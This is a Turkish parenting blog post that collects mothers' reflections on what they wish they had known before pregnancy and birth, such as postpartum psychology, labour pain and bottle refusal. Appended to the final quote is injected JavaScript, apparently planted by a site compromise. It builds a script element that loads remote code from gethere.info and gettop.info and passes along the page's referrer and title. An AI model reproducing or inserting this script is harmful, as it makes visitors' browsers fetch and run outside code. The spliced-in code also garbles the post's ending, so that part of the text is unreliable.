Hani, bazı noktaları yaşamadan öğrenirsek, yaşadığımızda çok şaşırmayız, zorluğun daha rahat üstesinden geliriz ya, gebeliğe, doğuma ve doğum sonrasına ait, bizi en çok zorlayan noktaları belirledik. “Keşke gebelikten önce … bilseydim” ve “Keşke doğumdan önce … bilseydim” dedik ve aşağıdaki şekilde listeledik:

“Keşke gebelikten önce 36 bedende kalmak gerektiğini bilseydim.”

“Keşke hamile kalmadan hamilelik psikolojisinin beni benden alacağını bilseydim. Ben doğumdan sonra lohusa olmadım ama hamilelik lohusası varsa onu yaşadım.”

“Keşke gebelikten once bebekle hayatın zorluklarını ve nasıl bir sorumluluk yüklediğini bilseydim; çünkü sadece hiç yaşamadığım doğum anına “focus”landım.”

“Keşke gebeliğin, birlikte gidilen doktor randevuları, hastane ziyareti, eğitimler olsa bile babayı annenin yarısı kadar bile hazırlayamadığını bilebilseydim. O zaman eşime çok daha fazla kendi duygularımı ve düşüncelerimi daha çok anlatırdım.”

“Keşke doğum sürecinden çok doğum sonrası sürece odaklansaydım. Doğum sonrası sudan çıkmış balık gibi hissettim. Hazırlıktan çok okumayı anlatmıyorum, psikolojik hazırlık çok önemliymiş.”

“Benim hamileliğim, doğum sonrası istifa edeceğimin psikolojik rahatlığıyla geçti.
Doğumdan sonra da neredeyse tamamen beklentisiz/talepsiz yaklaştım olaya, zorlukları sineye çekip keyifli zamanlara odaklandık. Bu sayede de gerçekten keşkesiz hissediyorum…”

“Keşke doğumdan önce 2,5 kg ve altında doğan her bebeğin küvöze girmek zorunda olmadığını bilseydim. Böylece, ameliyathaneden odaya çıkıp bebeğimi kucağıma alana kadar ağlayıp durmazdım.”

“Keşke doğumdan önce bebeğimin biberona alışmayabileceğini ve o nedenle sıkıntı çekebileceğimi bilseydim, belki daha çok uğraşırdım.”

“Keşke doğumdan önce normal doğumun sadece fizyolojik bir şey olmadığını bilseydim.”

“Keşke doğumdan önce, doğum sonrası hastaneden eve dönerken arabadaki her sallantıda karnımın kontrolsüz bir şekilde sağa sola savrulacağını bilseydim. Gebeliğim boyunca kullandığım bellyband’imi mutlaka yanıma alırdım.”

“Keşke doğumdan önce doğum anında yaşayabileceğim sancı şiddetini tahmin etseydim, yasadığım müthiş sancıya çok şaşırdım, hazırlıksız yakalandım. Safça acımayacağını zannediyordum.”

“Keşke bebek 2 aylık olduktan sonra bir düzeni olduğunu sanıp iş hayatımı ona göre organize etmeseydim.”

“Keşke doğum sonrasında sling kullanıp Demir’i hep göğsümde taşısaydım ve sürekli yanımda yatırsaydım. 9 ay karnımda yaşayan oğlum eminim sürekli bana dokunuyor olsa daha huzurlu olurdu.”

“Benim keşke gebelikten önce ve doğumdan önce bilseydim, dediğim tek bir şey var. Onu da zaten anneliği yaşamadan bilme şansım yokmuş. Çok rahat, sorunsuz bir hamilelik dönemi geçirdim. Ama hamileyken her şey toz pembeymiş. Çocuk sahibi olmanın bu kadar büyük bir sorumluluk demek olduğunun hiç farkında değilmişim. Bu öyle bir duygu ki, yaşamadan da bilinmiyor. Dolayısıyla keşke bu kadar zor olduğunu bilseydim, doğurmazdım, diyebilir miydim? İlk ay dedim de. Çok hazırlıksızmışım. Kendimi dibine kadar lohusalık sendromunun içinde buldum. Biraz daha gerçekçi olmak ve bir-iki sene kendimle ilgili her şeyi ikinci plana atmak durumunda olduğumu bilseydim. Ama şimdi düşünüyorum da zor dönem geçici, güzel zamanlar ise gerçekten eşsiz bir değerde.”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement('script'); s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

About The Author

One Response

Leave a Reply

Your email address will not be published.